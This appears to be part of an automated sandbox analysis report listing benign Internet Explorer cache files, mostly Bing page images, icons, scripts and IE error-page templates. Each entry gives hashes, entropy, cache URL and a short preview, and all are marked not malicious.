Preview:	......JFIF.....H.H.....>Exif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:07:31 17:51:08...............................................................................................P...................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.........,f.iJ..b..vR..6.@...T..8..0%H...8...cH.I.S.F(.....yZLS.....P..1.,i1F(.s.&.....+..iqR/.(.E.".Q.M)VYiR

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\ELqKWpA6KkapLUFbOLS-IQ2zfXc[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:43:45], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	9908
Entropy (8bit):	7.8062296698930025
Encrypted:	false
SSDEEP:	192:sWK8UVOGWSkbr43J1ZBpYKL2wth0XM2Cc8AyJKl4xV0KamWtOb+SP0cX:s18bVBrK9B6G2whJ2i/cmygrP0e
MD5:	968C49AC8A1A3EF85F2884F226C55742
SHA1:	10BA8A5A903A2A46A92D415B38B4BE210DB37D77
SHA-256:	E441AFC03F067D1D85DF1F69EB8F482BFDA697CC217E11E1547B3CE964B15B2A
SHA-512:	07B13D6E736683E36091E5BC52F953F9077AD9CD656F0F91E52F17C4630BE3D7524000AA37CFD6CB29ECBB5315F973086630F240118DBE248B4F8A3E79B2B524
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/ELqKWpA6KkapLUFbOLS-IQ2zfXc.jpg
Preview:	......JFIF.....H.H.....PExif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:08:01 11:43:45...............................................................................................a...................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...M.......i.@.=h......)(.....)i(....(.h...)h...ZJZ.(...(...(....(...)i(......M.N4...S..4..!.E......(......(...Z(..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\Fsa_OI0AplCnVoXGca8ALOo0S0s[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Fsa_OI0AplCnVoXGca8ALOo0S0s.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	374771
Entropy (8bit):	5.158592433297743
Encrypted:	false
SSDEEP:	6144:1irrzbB3LH7gaV6Z8LAfP0Rp6Izc04YFdNwRm2EjXi4SG7oIBYQmzeH:aHNfi4KwYQmzeH
MD5:	F279A46B56038C41BB3FC11D67D0FE46
SHA1:	B48121E695FD6483CAA7F48DE73FE9F121777109
SHA-256:	A9EA274B393E34591387AC0B4DE594BEE296386543DE34F4897281324DB0DCBB
SHA-512:	4C1754CF5E368D8CE86B135B789A4FF4BAAD1419F30A1EB3B65EAB62217C054D0066EA5FC22B5AA7643EA959854EBC2029B39CB7D1AEAAFB78B95A2A46430F84
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/GiGr-rA9TBhE2c3LJn7PvDweiOo.gz.js
Preview:	(function(n){function t(r){if(i[r])return i[r].exports;var u=i[r]={i:r,l:!1,exports:{}};return n[r].call(u.exports,u,u.exports,t),u.l=!0,u.exports}var i={};return t.m=n,t.c=i,t.d=function(n,i,r){t.o(n,i)\|\|Object.defineProperty(n,i,{enumerable:!0,get:r})},t.r=function(n){typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"});Object.defineProperty(n,"__esModule",{value:!0})},t.t=function(n,i){var r,u;if((i&1&&(n=t(n)),i&8)\|\|i&4&&typeof n=="object"&&n&&n.__esModule)return n;if(r=Object.create(null),t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:n}),i&2&&typeof n!="string")for(u in n)t.d(r,u,function(t){return n[t]}.bind(null,u));return r},t.n=function(n){var i=n&&n.__esModule?function(){return n["default"]}:function(){return n};return t.d(i,"a",i),i},t.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},t.p="",t(t.s=0)})([function(n,t,i){window.SpeechSDK=i(1)},function(n,t,i){"use strict";function r(n){for(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\JDHEvZVDnqsG9UcxzgIdtGb6thw.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	408
Entropy (8bit):	5.040387533075148
Encrypted:	false
SSDEEP:	12:2QWV6yRZ1nkDXAn357CXYX0cO2mAICL2b3TRn:2QO6P+5OYXJPi3TRn
MD5:	B4D53E840DB74C55CC3E3E6B44C3DAC1
SHA1:	89616D8595CF2D26B581287239AFB62655426315
SHA-256:	622B88D7D03DDACC92B81FE80A30B3D5A04072268BF9473BB29621E884AAB5F6
SHA-512:	4798E4E1E907EAE161E67B9BAB42206CE0F22530871EEC63582161E29DD00D2D7034E7D12CB3FE56FFF673BC9BB01F0646F9CA5DAED288134CB25978EFBBEC8F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/JDHEvZVDnqsG9UcxzgIdtGb6thw.gz.js
Preview:	(function(){function u(){n&&(n.value.length>0?Lib.CssClass.add(sj_b,t):Lib.CssClass.remove(sj_b,t))}function f(r){n.value="";Lib.CssClass.remove(sj_b,t);sj_log("CI.XButton","Clicked","1");i&&Lib.CssClass.add(i,"b_focus");n.focus();n.click();r&&(r.preventDefault(),r.stopPropagation())}var i=_ge("b_header"),n=_ge("sb_form_q"),r=_ge("sb_clt"),t="b_sbText";n&&r&&(sj_be(r,"click",f),sj_be(n,"keyup",u),u())})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\Jl2vUSlEIqWjk-99MuYp4W74zvQ[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1529
Entropy (8bit):	4.135964697042234
Encrypted:	false
SSDEEP:	24:tVvnjuJOeUsc4wg5a2/gt+lm/3HljKR99U1TrD3ptYZ7GDlh6mI0jeI4dIwDq8rz:rn1edcjg5pm/lKRXU1TrD5tJf6mzjidJ
MD5:	6D8EF11CB1C03B39D9ED4E4C9A2190B9
SHA1:	265DAF51294422A5A393EF7D32E629E16EF8CEF4
SHA-256:	D72BEAE30A6B2B36C3E03847CE4EA04211D7373D4066FF937A7A05DF4E0C3DB6
SHA-512:	C8820BDF2FC34CCFF7018A1C1E3E74ED1FE0B287926050F9B6BA59C08DCC216E8732F862AB0BF086BC05275C51E6F81132AFA60F6D50A19585642BC906DCDD92
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Jl2vUSlEIqWjk-99MuYp4W74zvQ.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">..<path d="M8 0C6.41775 0 4.87103 0.469192 3.55544 1.34824C2.23985 2.22729 1.21447 3.47672 0.608967 4.93853C0.00346629 6.40034 -0.15496 8.00887 0.153721 9.56072C0.462403 11.1126 1.22433 12.538 2.34315 13.6569C3.46197 14.7757 4.88743 15.5376 6.43928 15.8463C7.99113 16.155 9.59966 15.9965 11.0615 15.391C12.5233 14.7855 13.7727 13.7602 14.6518 12.4446C15.5308 11.129 16 9.58225 16 8C16 5.87827 15.1571 3.84344 13.6569 2.34315C12.1566 0.842854 10.1217 0 8 0V0Z" fill="white"/>..<path d="M3.72395 9.60957L5.72394 11.6096C5.97398 11.8595 6.31306 12 6.66661 12C7.02016 12 7.35924 11.8595 7.60928 11.6096L12.2759 6.9429C12.4033 6.81991 12.5049 6.67278 12.5747 6.51011C12.6446 6.34744 12.6814 6.17248 12.6829 5.99544C12.6845 5.8184 12.6507 5.64283 12.5837 5.47897C12.5167 5.3151 12.4177 5.16623 12.2925 5.04104C12.1673 4.91585 12.0184 4.81685 11.8545 4.74981C11.6907 4.68277 11.5151 4.64903 11.3381 4.65057C11.16

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\N3874DX7.htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	63186
Entropy (8bit):	5.7611173791709875
Encrypted:	false
SSDEEP:	1536:GKrSCXrLQPo3H/8cpUQ1qETOuKsIecFXdAjvd894fJLYvwjo4r8b09v2Q53OpZ:GGLQw3f/mQ1bd89ReeZ
MD5:	7780EE91F8A86F9E983056CE6C0FA543
SHA1:	E590A3F6F977A67D25BD54A22C23B59647D92F83
SHA-256:	64C0A21CE99857CAA0F4C58AAE2363395EB5C211BB0A7AC00C8D1721A7F6D230
SHA-512:	369207A22CE9AE7B08B324A0120FC0820096EAFD3FC94AC8A88281306EE96168ED90E304987D95AE6B303B30900D1E31366A8F3779522E5843951DE47563B373
Malicious:	false
IE Cache URL:	https://www.bing.com/?form=REDIRERR
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="Info" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.Olympics125_ROW9889344454_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20210406_0700&mkt=de-CH" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="The first modern Olympic Games were held 125 years" /><title>Bing</title><link rel="shortcut i

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
IE Cache URL:	res://ieframe.dll/NewErrorPageTemplate.css
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\RrvsBuqGHDpqG7NAz4Q0BMOqQBg.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	4140
Entropy (8bit):	5.268233767834181
Encrypted:	false
SSDEEP:	96:cithlPK4kMRX+1XewlYONYyuGNc22nDmSOsDg:ciJALYONEGNc22nbOsDg
MD5:	7651609B4BE35F5DE8024F570EF6CF87
SHA1:	4B72E4BB1D8F170D6B17FA1D769584A7D0F02F70
SHA-256:	4CA5C607D14D17F8A9EEA9FB0A624BC00C49BFDFBB6A78E1292EAE1461B7D9F0
SHA-512:	7BE114BD02AA079F01FBFC343811F74896BB247ABB79C67998B7DB0F20F8ED1260DEA83523F61CDD0E2231F2428437F9FBF88F39DAD821A3F09A5116C5DA7A2D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/RrvsBuqGHDpqG7NAz4Q0BMOqQBg.gz.js
Preview:	var Feedback;(function(n){var t;(function(){function r(i,r,u,f,e,o){i=typeof i===t?!1:i;i&&scrollTo(0,0);u=typeof u===t?!0:u;n.PackageLoad.Load(r,u,f,e,o)}function e(n,t){for(var r=0,i=null;n&&n.getAttribute&&(!(t>=1)\|\|r<t);){if(i=n.getAttribute("data-fbhlsel"),i!=null)break;r++;n=n.parentNode}return i}var u="feedbackformrequested",c="feedbackInitialized",i,f="",o="feedback-binded",s="clicked",t="undefined",h;n.Bootstrap.InitializeFeedback=function(l,a,v,y,p,w,b,k){function tt(t){var r=null,i;return t&&(i=new h,n.fel("ajax.feedback.collectsettings","gsf",i),r=i.findSettings(t)),r}var d=_ge(a),g,nt;d&&d.classList&&d.classList.contains(o)\|\|(p=typeof p===t?!1:p,g=e(d,3),f!=="sb_feedback"&&(f=a,typeof sj_evt!==t&&(i&&sj_evt.unbind(u,i),i=function(n){var u=null,t=null,f=null,o,i,s;n&&n.length>1&&(i=n[1],i.tagName!==undefined&&i.nodeType!==undefined?(u=i,t=tt(u)):t=i,o=t&&t.elementToHighlight\|\|u,f=e(o));s=t&&t.linkId\|\|a;r(y,l,v,s,f,t)},sj_evt.bind(u,i,1)),typeof SearchAppWrapper!==t&&SearchA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\UYtUYDcn1oZlFG-YfBPz59zejYI[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	964
Entropy (8bit):	4.421237058266115
Encrypted:	false
SSDEEP:	24:t741nTY2jmYXhgauOwgXl3gHuWg9cZLzix9QiVCVCTikxQmQ6Nkpgeoo7:dQnkwXhnuOwIlwHuW7nC9QkaUzQm3Nk5
MD5:	88E3ED3DD7EEE133F73FFB9D36B04B6F
SHA1:	518B54603727D68665146F987C13F3E7DCDE8D82
SHA-256:	A39AB0A67C08D907EDDB18741460399232202C26648D676A22AD06E9C1D874CB
SHA-512:	90FF1284A7FEB9555DFC869644BD5DF8A022AE7873547292D8F6A31BA0808613B6A7F23CB416572ADB298EEE0998E0270B78F41C619D84AB379D0CA9D1D9DA6B
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/UYtUYDcn1oZlFG-YfBPz59zejYI.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16"><g fill="#00809D"><path d="M2.25 0h-1.25c-.263 0-.521.107-.707.293-.186.186-.293.444-.293.707v1.25c0 .552.448 1 1 1s1-.448 1-1v-.25h.25c.552 0 1-.448 1-1s-.448-1-1-1zM1 8.75c.552 0 1-.448 1-1v-1.5c0-.552-.448-1-1-1s-1 .448-1 1v1.5c0 .552.448 1 1 1zM2.25 12h-.25v-.25c0-.552-.448-1-1-1s-1 .448-1 1v1.25c0 .263.107.521.293.707s.444.293.707.293h1.25c.552 0 1-.448 1-1s-.448-1-1-1zM11.75 2h.25v.25c0 .552.448 1 1 1s1-.448 1-1v-1.25c0-.263-.107-.521-.293-.707-.186-.186-.444-.293-.707-.293h-1.25c-.552 0-1 .448-1 1s.448 1 1 1zM6.25 2h1.5c.552 0 1-.448 1-1s-.448-1-1-1h-1.5c-.552 0-1 .448-1 1s.448 1 1 1zM14.5 7h-.5v-.75c0-.552-.448-1-1-1s-1 .448-1 1v.75h-3.5c-.828 0-1.5.671-1.5 1.5v3.5h-.75c-.552 0-1 .448-1 1s.448 1 1 1h.75v.5c0 .828.672 1.5 1.5 1.5h6c.828 0 1.5-.672 1.5-1.5v-6c0-.829-.672-1.5-1.5-1.5z"/></g><path fill="none" d="M0 0h16v16h-16z"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\b4Jy0kwhnsWcsDQyuzAEsN7RmhQ[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:59:08], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	14848
Entropy (8bit):	7.9161237402148545
Encrypted:	false
SSDEEP:	192:d5KKqPy60pSDqRxY0cKZR+dG0cDizbS4z0GoJmsrod96rIE1KRCLHXl4DPzEmISD:dg9PJvoe0LsG0IiF+TVERCjgEmgDG
MD5:	094FAB391B9B906B8A88922CE6827471
SHA1:	6F8272D24C219EC59CB03432BB3004B0DED19A14
SHA-256:	E7DAFF9BBB32681540E010FB10BA87D51938B42B275D0C422E253CED0DD96B79
SHA-512:	B0BE13E1A3E4B5758DFF4B36C1FF49020565FD316295A7413E5312FB90B0EE4B7D93B4FE4AC5DBB4F122E4CAC0705307A29DA52DBF66A3AC0DA91CC94F5B3EF4
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/b4Jy0kwhnsWcsDQyuzAEsN7RmhQ.jpg
Preview:	......JFIF.....H.H....#JExif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:07:31 17:59:08...............................................................................................["..................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....{Ry..J.#..uj..\..\~...f.9..v...M[.....q..Px....(<P.E.P.E.P.J.!8....<.I.T-%F\..Ld.Ff..Sr)........@..M74.i.~.i4

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\bLULVERLX4vU6bjspboNMw9vl_0.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/bLULVERLX4vU6bjspboNMw9vl_0.gz.js
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\dnserror[2] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
IE Cache URL:	res://ieframe.dll/dnserror.htm?ErrorStatus=0x800C0005&DNSError=0
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\gDsOfTXNZVl18jxNDvhXqAdf2tM.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1821
Entropy (8bit):	5.098212659804913
Encrypted:	false
SSDEEP:	48:0N3GKBel/r5+8cDYC1YvHIH6ayskysb6NccyskpY3Imqc+DkR:oGKBelzw8fCuoaay5ySSy5q3Mc+4R
MD5:	EC15EB7CBFBFAA68BB1DE04A28C80270
SHA1:	D2570D4CFF3139EA66D15799C9E67211F5A03B20
SHA-256:	810A85F1E705231989251F3EB52DAFF3F0ACEE09C703339C301A7CBD22CF8FE6
SHA-512:	077446A676E47447CB771A119CD0EC2EC168E65FED4579E663866D2846F51E93B47367518EB9D79E04EACE139CDFF043E1E28D64559412B4770388B2FEF96A21
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/gDsOfTXNZVl18jxNDvhXqAdf2tM.gz.js
